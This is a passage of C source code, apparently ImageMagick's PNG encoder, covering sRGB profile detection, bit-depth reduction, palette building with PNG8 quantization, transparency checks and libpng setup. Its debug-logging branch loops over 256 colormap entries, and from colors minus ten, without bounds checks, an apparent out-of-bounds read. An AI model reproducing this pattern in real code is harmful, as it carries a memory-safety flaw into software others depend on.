ping_exclude_cHRM=mng_info->ping_exclude_cHRM; ping_exclude_date=mng_info->ping_exclude_date; ping_exclude_eXIf=mng_info->ping_exclude_eXIf; ping_exclude_gAMA=mng_info->ping_exclude_gAMA; ping_exclude_iCCP=mng_info->ping_exclude_iCCP; /* ping_exclude_iTXt=mng_info->ping_exclude_iTXt; */ ping_exclude_oFFs=mng_info->ping_exclude_oFFs; ping_exclude_pHYs=mng_info->ping_exclude_pHYs; ping_exclude_sRGB=mng_info->ping_exclude_sRGB; ping_exclude_tEXt=mng_info->ping_exclude_tEXt; ping_exclude_tIME=mng_info->ping_exclude_tIME; /* ping_exclude_tRNS=mng_info->ping_exclude_tRNS; */ ping_exclude_vpAg=mng_info->ping_exclude_vpAg; ping_exclude_zCCP=mng_info->ping_exclude_zCCP; /* hex-encoded iCCP in zTXt */ ping_exclude_zTXt=mng_info->ping_exclude_zTXt; ping_preserve_colormap = mng_info->ping_preserve_colormap; ping_preserve_iCCP = mng_info->ping_preserve_iCCP; ping_need_colortype_warning = MagickFalse; /* Recognize the ICC sRGB profile and convert it to the sRGB chunk, * i.e., eliminate the ICC profile and set image->rendering_intent. * Note that this will not involve any changes to the actual pixels * but merely passes information to applications that read the resulting * PNG image. * * To do: recognize other variants of the sRGB profile, using the CRC to * verify all recognized variants including the 7 already known. * * Work around libpng16+ rejecting some "known invalid sRGB profiles". * * Use something other than image->rendering_intent to record the fact * that the sRGB profile was found. * * Record the ICC version (currently v2 or v4) of the incoming sRGB ICC * profile. Record the Blackpoint Compensation, if any. */ if (ping_exclude_sRGB == MagickFalse && ping_preserve_iCCP == MagickFalse) { char *name; const StringInfo *profile; ResetImageProfileIterator(image); for (name=GetNextImageProfile(image); name != (const char *) NULL; ) { profile=GetImageProfile(image,name); if (profile != (StringInfo *) NULL) { if ((LocaleCompare(name,"ICC") == 0) || (LocaleCompare(name,"ICM") == 0)) { int icheck, got_crc=0; png_uint_32 length, profile_crc=0; unsigned char *data; length=(png_uint_32) GetStringInfoLength(profile); for (icheck=0; sRGB_info[icheck].len > 0; icheck++) { if (length == sRGB_info[icheck].len) { if (got_crc == 0) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Got a %lu-byte ICC profile (potentially sRGB)", (unsigned long) length); data=GetStringInfoDatum(profile); profile_crc=crc32(0,data,length); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " with crc=%8x",(unsigned int) profile_crc); got_crc++; } if (profile_crc == sRGB_info[icheck].crc) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " It is sRGB with rendering intent = %s", Magick_RenderingIntentString_from_PNG_RenderingIntent( sRGB_info[icheck].intent)); if (image->rendering_intent==UndefinedIntent) { image->rendering_intent= Magick_RenderingIntent_from_PNG_RenderingIntent( sRGB_info[icheck].intent); } ping_exclude_iCCP = MagickTrue; ping_exclude_zCCP = MagickTrue; ping_have_sRGB = MagickTrue; break; } } } if (sRGB_info[icheck].len == 0) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Got %lu-byte ICC profile not recognized as sRGB", (unsigned long) length); } } name=GetNextImageProfile(image); } } number_opaque = 0; number_semitransparent = 0; number_transparent = 0; if (logging != MagickFalse) { if (image->storage_class == UndefinedClass) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image->storage_class=UndefinedClass"); if (image->storage_class == DirectClass) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image->storage_class=DirectClass"); if (image->storage_class == PseudoClass) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image->storage_class=PseudoClass"); (void) LogMagickEvent(CoderEvent,GetMagickModule(), image->taint ? " image->taint=MagickTrue": " image->taint=MagickFalse"); } if (image->storage_class == PseudoClass && (mng_info->write_png8 || mng_info->write_png24 || mng_info->write_png32 || mng_info->write_png48 || mng_info->write_png64 || (mng_info->write_png_colortype != 1 && mng_info->write_png_colortype != 5))) { (void) SyncImage(image,exception); image->storage_class = DirectClass; } if (ping_preserve_colormap == MagickFalse) { if (image->storage_class != PseudoClass && image->colormap != NULL) { /* Free the bogus colormap; it can cause trouble later */ if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Freeing bogus colormap"); (void) RelinquishMagickMemory(image->colormap); image->colormap=NULL; } } if (IssRGBCompatibleColorspace(image->colorspace) == MagickFalse) (void) TransformImageColorspace(image,sRGBColorspace,exception); /* Sometimes we get PseudoClass images whose RGB values don't match the colors in the colormap. This code syncs the RGB values. */ if (image->depth <= 8 && image->taint && image->storage_class == PseudoClass) (void) SyncImage(image,exception); #if (MAGICKCORE_QUANTUM_DEPTH == 8) if (image->depth > 8) { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Reducing PNG bit depth to 8 since this is a Q8 build."); image->depth=8; } #endif /* Respect the -depth option */ if (image->depth < 4) { register Quantum *r; if (image->depth > 2) { /* Scale to 4-bit */ LBR04PacketRGBO(image->background_color); for (y=0; y < (ssize_t) image->rows; y++) { r=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (r == (Quantum *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { LBR04PixelRGBA(r); r+=GetPixelChannels(image); } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; } if (image->storage_class == PseudoClass && image->colormap != NULL) { for (i=0; i < (ssize_t) image->colors; i++) { LBR04PacketRGBO(image->colormap[i]); } } } else if (image->depth > 1) { /* Scale to 2-bit */ LBR02PacketRGBO(image->background_color); for (y=0; y < (ssize_t) image->rows; y++) { r=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (r == (Quantum *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { LBR02PixelRGBA(r); r+=GetPixelChannels(image); } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; } if (image->storage_class == PseudoClass && image->colormap != NULL) { for (i=0; i < (ssize_t) image->colors; i++) { LBR02PacketRGBO(image->colormap[i]); } } } else { /* Scale to 1-bit */ LBR01PacketRGBO(image->background_color); for (y=0; y < (ssize_t) image->rows; y++) { r=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (r == (Quantum *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { LBR01PixelRGBA(r); r+=GetPixelChannels(image); } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; } if (image->storage_class == PseudoClass && image->colormap != NULL) { for (i=0; i < (ssize_t) image->colors; i++) { LBR01PacketRGBO(image->colormap[i]); } } } } /* To do: set to next higher multiple of 8 */ if (image->depth < 8) image->depth=8; #if (MAGICKCORE_QUANTUM_DEPTH > 16) /* PNG does not handle depths greater than 16 so reduce it even * if lossy */ if (image->depth > 8) image->depth=16; #endif #if (MAGICKCORE_QUANTUM_DEPTH > 8) if (image->depth > 8) { /* To do: fill low byte properly */ image->depth=16; } if (image->depth == 16 && mng_info->write_png_depth != 16) if (mng_info->write_png8 || LosslessReduceDepthOK(image,exception) != MagickFalse) image->depth = 8; #endif image_colors = (int) image->colors; number_opaque = (int) image->colors; number_transparent = 0; number_semitransparent = 0; if (mng_info->write_png_colortype && (mng_info->write_png_colortype > 4 || (mng_info->write_png_depth >= 8 && mng_info->write_png_colortype < 4 && image->alpha_trait == UndefinedPixelTrait))) { /* Avoid the expensive BUILD_PALETTE operation if we're sure that we * are not going to need the result. */ if (mng_info->write_png_colortype == 1 || mng_info->write_png_colortype == 5) ping_have_color=MagickFalse; if (image->alpha_trait != UndefinedPixelTrait) { number_transparent = 2; number_semitransparent = 1; } } if (mng_info->write_png_colortype < 7) { /* BUILD_PALETTE * * Normally we run this just once, but in the case of writing PNG8 * we reduce the transparency to binary and run again, then if there * are still too many colors we reduce to a simple 4-4-4-1, then 3-3-3-1 * RGBA palette and run again, and then to a simple 3-3-2-1 RGBA * palette. Then (To do) we take care of a final reduction that is only * needed if there are still 256 colors present and one of them has both * transparent and opaque instances. */ tried_332 = MagickFalse; tried_333 = MagickFalse; tried_444 = MagickFalse; for (j=0; j<6; j++) { /* * Sometimes we get DirectClass images that have 256 colors or fewer. * This code will build a colormap. * * Also, sometimes we get PseudoClass images with an out-of-date * colormap. This code will replace the colormap with a new one. * Sometimes we get PseudoClass images that have more than 256 colors. * This code will delete the colormap and change the image to * DirectClass. * * If image->alpha_trait is MagickFalse, we ignore the alpha channel * even though it sometimes contains left-over non-opaque values. * * Also we gather some information (number of opaque, transparent, * and semitransparent pixels, and whether the image has any non-gray * pixels or only black-and-white pixels) that we might need later. * * Even if the user wants to force GrayAlpha or RGBA (colortype 4 or 6) * we need to check for bogus non-opaque values, at least. */ int n; PixelInfo opaque[260], semitransparent[260], transparent[260]; register const Quantum *s; register Quantum *q, *r; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Enter BUILD_PALETTE:"); if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image->columns=%.20g",(double) image->columns); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image->rows=%.20g",(double) image->rows); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image->alpha_trait=%.20g",(double) image->alpha_trait); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image->depth=%.20g",(double) image->depth); if (image->storage_class == PseudoClass && image->colormap != NULL) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Original colormap:"); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " i (red,green,blue,alpha)"); for (i=0; i < 256; i++) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " %d (%d,%d,%d,%d)", (int) i, (int) image->colormap[i].red, (int) image->colormap[i].green, (int) image->colormap[i].blue, (int) image->colormap[i].alpha); } for (i=image->colors - 10; i < (ssize_t) image->colors; i++) { if (i > 255) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " %d (%d,%d,%d,%d)", (int) i, (int) image->colormap[i].red, (int) image->colormap[i].green, (int) image->colormap[i].blue, (int) image->colormap[i].alpha); } } } (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image->colors=%d",(int) image->colors); if (image->colors == 0) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " (zero means unknown)"); if (ping_preserve_colormap == MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Regenerate the colormap"); } image_colors=0; number_opaque = 0; number_semitransparent = 0; number_transparent = 0; for (y=0; y < (ssize_t) image->rows; y++) { q=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (Quantum *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { if (image->alpha_trait == UndefinedPixelTrait || GetPixelAlpha(image,q) == OpaqueAlpha) { if (number_opaque < 259) { if (number_opaque == 0) { GetPixelInfoPixel(image, q, opaque); opaque[0].alpha=OpaqueAlpha; number_opaque=1; } for (i=0; i< (ssize_t) number_opaque; i++) { if (Magick_png_color_equal(image,q,opaque+i)) break; } if (i == (ssize_t) number_opaque && number_opaque < 259) { number_opaque++; GetPixelInfoPixel(image, q, opaque+i); opaque[i].alpha=OpaqueAlpha; } } } else if (GetPixelAlpha(image,q) == TransparentAlpha) { if (number_transparent < 259) { if (number_transparent == 0) { GetPixelInfoPixel(image, q, transparent); ping_trans_color.red=(unsigned short) GetPixelRed(image,q); ping_trans_color.green=(unsigned short) GetPixelGreen(image,q); ping_trans_color.blue=(unsigned short) GetPixelBlue(image,q); ping_trans_color.gray=(unsigned short) GetPixelGray(image,q); number_transparent = 1; } for (i=0; i< (ssize_t) number_transparent; i++) { if (Magick_png_color_equal(image,q,transparent+i)) break; } if (i == (ssize_t) number_transparent && number_transparent < 259) { number_transparent++; GetPixelInfoPixel(image,q,transparent+i); } } } else { if (number_semitransparent < 259) { if (number_semitransparent == 0) { GetPixelInfoPixel(image,q,semitransparent); number_semitransparent = 1; } for (i=0; i< (ssize_t) number_semitransparent; i++) { if (Magick_png_color_equal(image,q,semitransparent+i) && GetPixelAlpha(image,q) == semitransparent[i].alpha) break; } if (i == (ssize_t) number_semitransparent && number_semitransparent < 259) { number_semitransparent++; GetPixelInfoPixel(image, q, semitransparent+i); } } } q+=GetPixelChannels(image); } } if (mng_info->write_png8 == MagickFalse && ping_exclude_bKGD == MagickFalse) { /* Add the background color to the palette, if it * isn't already there. */ if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Check colormap for background (%d,%d,%d)", (int) image->background_color.red, (int) image->background_color.green, (int) image->background_color.blue); } for (i=0; i<number_opaque; i++) { if (opaque[i].red == image->background_color.red && opaque[i].green == image->background_color.green && opaque[i].blue == image->background_color.blue) break; } if (number_opaque < 259 && i == number_opaque) { opaque[i] = image->background_color; ping_background.index = i; number_opaque++; if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " background_color index is %d",(int) i); } } else if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " No room in the colormap to add background color"); } image_colors=number_opaque+number_transparent+number_semitransparent; if (logging != MagickFalse) { if (image_colors > 256) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image has more than 256 colors"); else (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image has %d colors",image_colors); } if (ping_preserve_colormap != MagickFalse) break; if (mng_info->write_png_colortype != 7) /* We won't need this info */ { ping_have_color=MagickFalse; ping_have_non_bw=MagickFalse; if (IssRGBCompatibleColorspace(image->colorspace) == MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), "incompatible colorspace"); ping_have_color=MagickTrue; ping_have_non_bw=MagickTrue; } if(image_colors > 256) { for (y=0; y < (ssize_t) image->rows; y++) { q=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (Quantum *) NULL) break; s=q; for (x=0; x < (ssize_t) image->columns; x++) { if (GetPixelRed(image,s) != GetPixelGreen(image,s) || GetPixelRed(image,s) != GetPixelBlue(image,s)) { ping_have_color=MagickTrue; ping_have_non_bw=MagickTrue; break; } s+=GetPixelChannels(image); } if (ping_have_color != MagickFalse) break; /* Worst case is black-and-white; we are looking at every * pixel twice. */ if (ping_have_non_bw == MagickFalse) { s=q; for (x=0; x < (ssize_t) image->columns; x++) { if (GetPixelRed(image,s) != 0 && GetPixelRed(image,s) != QuantumRange) { ping_have_non_bw=MagickTrue; break; } s+=GetPixelChannels(image); } } } } } if (image_colors < 257) { PixelInfo colormap[260]; /* * Initialize image colormap. */ if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Sort the new colormap"); /* Sort palette, transparent first */; n = 0; for (i=0; i<number_transparent; i++) colormap[n++] = transparent[i]; for (i=0; i<number_semitransparent; i++) colormap[n++] = semitransparent[i]; for (i=0; i<number_opaque; i++) colormap[n++] = opaque[i]; ping_background.index += (number_transparent + number_semitransparent); /* image_colors < 257; search the colormap instead of the pixels * to get ping_have_color and ping_have_non_bw */ for (i=0; i<n; i++) { if (ping_have_color == MagickFalse) { if (colormap[i].red != colormap[i].green || colormap[i].red != colormap[i].blue) { ping_have_color=MagickTrue; ping_have_non_bw=MagickTrue; break; } } if (ping_have_non_bw == MagickFalse) { if (colormap[i].red != 0 && colormap[i].red != QuantumRange) ping_have_non_bw=MagickTrue; } } if ((mng_info->ping_exclude_tRNS == MagickFalse || (number_transparent == 0 && number_semitransparent == 0)) && (((mng_info->write_png_colortype-1) == PNG_COLOR_TYPE_PALETTE) || (mng_info->write_png_colortype == 0))) { if (logging != MagickFalse) { if (n != (ssize_t) image_colors) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image_colors (%d) and n (%d) don't match", image_colors, n); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " AcquireImageColormap"); } image->colors = image_colors; if (AcquireImageColormap(image,image_colors,exception) == MagickFalse) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed"); for (i=0; i< (ssize_t) image_colors; i++) image->colormap[i] = colormap[i]; if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image->colors=%d (%d)", (int) image->colors, image_colors); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Update the pixel indexes"); } /* Sync the pixel indices with the new colormap */ for (y=0; y < (ssize_t) image->rows; y++) { q=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (Quantum *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { for (i=0; i< (ssize_t) image_colors; i++) { if ((image->alpha_trait == UndefinedPixelTrait || image->colormap[i].alpha == GetPixelAlpha(image,q)) && image->colormap[i].red == GetPixelRed(image,q) && image->colormap[i].green == GetPixelGreen(image,q) && image->colormap[i].blue == GetPixelBlue(image,q)) { SetPixelIndex(image,i,q); break; } } q+=GetPixelChannels(image); } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; } } } if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image->colors=%d", (int) image->colors); if (image->colormap != NULL) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " i (red,green,blue,alpha)"); for (i=0; i < (ssize_t) image->colors; i++) { if (i < 300 || i >= (ssize_t) image->colors - 10) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " %d (%d,%d,%d,%d)", (int) i, (int) image->colormap[i].red, (int) image->colormap[i].green, (int) image->colormap[i].blue, (int) image->colormap[i].alpha); } } } if (number_transparent < 257) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " number_transparent = %d", number_transparent); else (void) LogMagickEvent(CoderEvent,GetMagickModule(), " number_transparent > 256"); if (number_opaque < 257) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " number_opaque = %d", number_opaque); else (void) LogMagickEvent(CoderEvent,GetMagickModule(), " number_opaque > 256"); if (number_semitransparent < 257) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " number_semitransparent = %d", number_semitransparent); else (void) LogMagickEvent(CoderEvent,GetMagickModule(), " number_semitransparent > 256"); if (ping_have_non_bw == MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " All pixels and the background are black or white"); else if (ping_have_color == MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " All pixels and the background are gray"); else (void) LogMagickEvent(CoderEvent,GetMagickModule(), " At least one pixel or the background is non-gray"); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Exit BUILD_PALETTE:"); } if (mng_info->write_png8 == MagickFalse) break; /* Make any reductions necessary for the PNG8 format */ if (image_colors <= 256 && image_colors != 0 && image->colormap != NULL && number_semitransparent == 0 && number_transparent <= 1) break; /* PNG8 can't have semitransparent colors so we threshold the * opacity to 0 or OpaqueOpacity, and PNG8 can only have one * transparent color so if more than one is transparent we merge * them into image->background_color. */ if (number_semitransparent != 0 || number_transparent > 1) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Thresholding the alpha channel to binary"); for (y=0; y < (ssize_t) image->rows; y++) { r=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (r == (Quantum *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { if (GetPixelAlpha(image,r) < OpaqueAlpha/2) { SetPixelViaPixelInfo(image,&image->background_color,r); SetPixelAlpha(image,TransparentAlpha,r); } else SetPixelAlpha(image,OpaqueAlpha,r); r+=GetPixelChannels(image); } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; if (image_colors != 0 && image_colors <= 256 && image->colormap != NULL) for (i=0; i<image_colors; i++) image->colormap[i].alpha = (image->colormap[i].alpha > TransparentAlpha/2 ? TransparentAlpha : OpaqueAlpha); } continue; } /* PNG8 can't have more than 256 colors so we quantize the pixels and * background color to the 4-4-4-1, 3-3-3-1 or 3-3-2-1 palette. If the * image is mostly gray, the 4-4-4-1 palette is likely to end up with 256 * colors or less. */ if (tried_444 == MagickFalse && (image_colors == 0 || image_colors > 256)) { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Quantizing the background color to 4-4-4"); tried_444 = MagickTrue; LBR04PacketRGB(image->background_color); if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Quantizing the pixel colors to 4-4-4"); if (image->colormap == NULL) { for (y=0; y < (ssize_t) image->rows; y++) { r=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (r == (Quantum *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { if (GetPixelAlpha(image,r) == OpaqueAlpha) LBR04PixelRGB(r); r+=GetPixelChannels(image); } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; } } else /* Should not reach this; colormap already exists and must be <= 256 */ { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Quantizing the colormap to 4-4-4"); for (i=0; i<image_colors; i++) { LBR04PacketRGB(image->colormap[i]); } } continue; } if (tried_333 == MagickFalse && (image_colors == 0 || image_colors > 256)) { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Quantizing the background color to 3-3-3"); tried_333 = MagickTrue; LBR03PacketRGB(image->background_color); if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Quantizing the pixel colors to 3-3-3-1"); if (image->colormap == NULL) { for (y=0; y < (ssize_t) image->rows; y++) { r=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (r == (Quantum *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { if (GetPixelAlpha(image,r) == OpaqueAlpha) LBR03RGB(r); r+=GetPixelChannels(image); } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; } } else /* Should not reach this; colormap already exists and must be <= 256 */ { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Quantizing the colormap to 3-3-3-1"); for (i=0; i<image_colors; i++) { LBR03PacketRGB(image->colormap[i]); } } continue; } if (tried_332 == MagickFalse && (image_colors == 0 || image_colors > 256)) { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Quantizing the background color to 3-3-2"); tried_332 = MagickTrue; /* Red and green were already done so we only quantize the blue * channel */ LBR02PacketBlue(image->background_color); if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Quantizing the pixel colors to 3-3-2-1"); if (image->colormap == NULL) { for (y=0; y < (ssize_t) image->rows; y++) { r=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (r == (Quantum *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { if (GetPixelAlpha(image,r) == OpaqueAlpha) LBR02PixelBlue(r); r+=GetPixelChannels(image); } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; } } else /* Should not reach this; colormap already exists and must be <= 256 */ { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Quantizing the colormap to 3-3-2-1"); for (i=0; i<image_colors; i++) { LBR02PacketBlue(image->colormap[i]); } } continue; } if (image_colors == 0 || image_colors > 256) { /* Take care of special case with 256 opaque colors + 1 transparent * color. We don't need to quantize to 2-3-2-1; we only need to * eliminate one color, so we'll merge the two darkest red * colors (0x49, 0, 0) -> (0x24, 0, 0). */ if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Merging two dark red background colors to 3-3-2-1"); if (ScaleQuantumToChar(image->background_color.red) == 0x49 && ScaleQuantumToChar(image->background_color.green) == 0x00 && ScaleQuantumToChar(image->background_color.blue) == 0x00) { image->background_color.red=ScaleCharToQuantum(0x24); } if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Merging two dark red pixel colors to 3-3-2-1"); if (image->colormap == NULL) { for (y=0; y < (ssize_t) image->rows; y++) { r=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (r == (Quantum *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { if (ScaleQuantumToChar(GetPixelRed(image,r)) == 0x49 && ScaleQuantumToChar(GetPixelGreen(image,r)) == 0x00 && ScaleQuantumToChar(GetPixelBlue(image,r)) == 0x00 && GetPixelAlpha(image,r) == OpaqueAlpha) { SetPixelRed(image,ScaleCharToQuantum(0x24),r); } r+=GetPixelChannels(image); } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; } } else { for (i=0; i<image_colors; i++) { if (ScaleQuantumToChar(image->colormap[i].red) == 0x49 && ScaleQuantumToChar(image->colormap[i].green) == 0x00 && ScaleQuantumToChar(image->colormap[i].blue) == 0x00) { image->colormap[i].red=ScaleCharToQuantum(0x24); } } } } } } /* END OF BUILD_PALETTE */ /* If we are excluding the tRNS chunk and there is transparency, * then we must write a Gray-Alpha (color-type 4) or RGBA (color-type 6) * PNG. */ if (mng_info->ping_exclude_tRNS != MagickFalse && (number_transparent != 0 || number_semitransparent != 0)) { unsigned int colortype=mng_info->write_png_colortype; if (ping_have_color == MagickFalse) mng_info->write_png_colortype = 5; else mng_info->write_png_colortype = 7; if (colortype != 0 && mng_info->write_png_colortype != colortype) ping_need_colortype_warning=MagickTrue; } /* See if cheap transparency is possible. It is only possible * when there is a single transparent color, no semitransparent * color, and no opaque color that has the same RGB components * as the transparent color. We only need this information if * we are writing a PNG with colortype 0 or 2, and we have not * excluded the tRNS chunk. */ if (number_transparent == 1 && mng_info->write_png_colortype < 4) { ping_have_cheap_transparency = MagickTrue; if (number_semitransparent != 0) ping_have_cheap_transparency = MagickFalse; else if (image_colors == 0 || image_colors > 256 || image->colormap == NULL) { register const Quantum *q; for (y=0; y < (ssize_t) image->rows; y++) { q=GetVirtualPixels(image,0,y,image->columns,1, exception); if (q == (Quantum *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { if (GetPixelAlpha(image,q) != TransparentAlpha && (unsigned short) GetPixelRed(image,q) == ping_trans_color.red && (unsigned short) GetPixelGreen(image,q) == ping_trans_color.green && (unsigned short) GetPixelBlue(image,q) == ping_trans_color.blue) { ping_have_cheap_transparency = MagickFalse; break; } q+=GetPixelChannels(image); } if (ping_have_cheap_transparency == MagickFalse) break; } } else { /* Assuming that image->colormap[0] is the one transparent color * and that all others are opaque. */ if (image_colors > 1) for (i=1; i<image_colors; i++) if (image->colormap[i].red == image->colormap[0].red && image->colormap[i].green == image->colormap[0].green && image->colormap[i].blue == image->colormap[0].blue) { ping_have_cheap_transparency = MagickFalse; break; } } if (logging != MagickFalse) { if (ping_have_cheap_transparency == MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Cheap transparency is not possible."); else (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Cheap transparency is possible."); } } else ping_have_cheap_transparency = MagickFalse; image_depth=image->depth; quantum_info = (QuantumInfo *) NULL; number_colors=0; image_colors=(int) image->colors; image_matte=image->alpha_trait != UndefinedPixelTrait ? MagickTrue : MagickFalse; if (mng_info->write_png_colortype < 5) mng_info->IsPalette=image->storage_class == PseudoClass && image_colors <= 256 && image->colormap != NULL; else mng_info->IsPalette = MagickFalse; if ((mng_info->write_png_colortype == 4 || mng_info->write_png8) && (image->colors == 0 || image->colormap == NULL)) { image_info=DestroyImageInfo(image_info); image=DestroyImage(image); (void) ThrowMagickException(exception,GetMagickModule(),CoderError, "Cannot write PNG8 or color-type 3; colormap is NULL", "`%s'",IMimage->filename); return(MagickFalse); } /* Allocate the PNG structures */ #ifdef PNG_USER_MEM_SUPPORTED error_info.image=image; error_info.exception=exception; ping=png_create_write_struct_2(PNG_LIBPNG_VER_STRING,&error_info, MagickPNGErrorHandler,MagickPNGWarningHandler,(void *) NULL, (png_malloc_ptr) Magick_png_malloc,(png_free_ptr) Magick_png_free); #else ping=png_create_write_struct(PNG_LIBPNG_VER_STRING,&error_info, MagickPNGErrorHandler,MagickPNGWarningHandler); #endif if (ping == (png_struct *) NULL) ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed"); ping_info=png_create_info_struct(ping); if (ping_info == (png_info *) NULL) { png_destroy_write_struct(&ping,(png_info **) NULL); ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed"); } png_set_write_fn(ping,image,png_put_data,png_flush_data); pixel_info=(MemoryInfo *) NULL; if (setjmp(png_jmpbuf(ping))) { /* PNG write failed. */ #ifdef PNG_DEBUG if (image_info->verbose) (void) printf("PNG write has failed.\n"); #endif png_destroy_write_struct(&ping,&ping_info); #ifdef IMPNG_SETJMP_NOT_THREAD_SAFE UnlockSemaphoreInfo(ping_semaphore); #endif if (pixel_info != (MemoryInfo *) NULL) pixel_info=RelinquishVirtualMemory(pixel_info); if (quantum_info != (QuantumInfo *) NULL) quantum_info=DestroyQuantumInfo(quantum_info); if (ping_have_blob != MagickFalse) (void) CloseBlob(image); image_info=DestroyImageInfo(image_info); image=DestroyImage(image); return(MagickFalse); } /* { For navigation to end of SETJMP-protected block. Within this * block, use png_error() instead of Throwing an Exception, to ensure * that libpng is able to clean up, and that the semaphore is unlocked. */ #ifdef IMPNG_SETJMP_NOT_THREAD_SAFE LockSemaphoreInfo(ping_semaphore); #endif #ifdef PNG_BENIGN_ERRORS_SUPPORTED /* Allow benign errors */ png_set_benign_errors(ping, 1); #endif #ifdef PNG_SET_USER_LIMITS_SUPPORTED /* Reject images with too many rows or columns */ png_set_user_limits(ping, (png_uint_32) MagickMin(0x7fffffffL, GetMagickResourceLimit(WidthResource)), (png_uint_32) MagickMin(0x7fffffffL, GetMagickResourceLimit(HeightResource))); #endif /* PNG_SET_USER_LIMITS_SUPPORTED */ /* Prepare PNG for writing. */ #if defined(PNG_MNG_FEATURES_SUPPORTED) if (mng_info->write_mng) { (void) png_permit_mng_features(ping,PNG_ALL_MNG_FEATURES); # ifdef PNG_WRITE_CHECK_FOR_INVALID_INDEX_SUPPORTED /* Disable new libpng-1.5.10 feature when writing a MNG because * zero-length PLTE is OK */ png_set_check_for_invalid_index (ping, 0); # endif } #else # ifdef PNG_WRITE_EMPTY_PLTE_SUPPORTED if (mng_info->write_mng) png_permit_empty_plte(ping,MagickTrue); # endif #endif x=0; ping_width=(png_uint_32) image->columns; 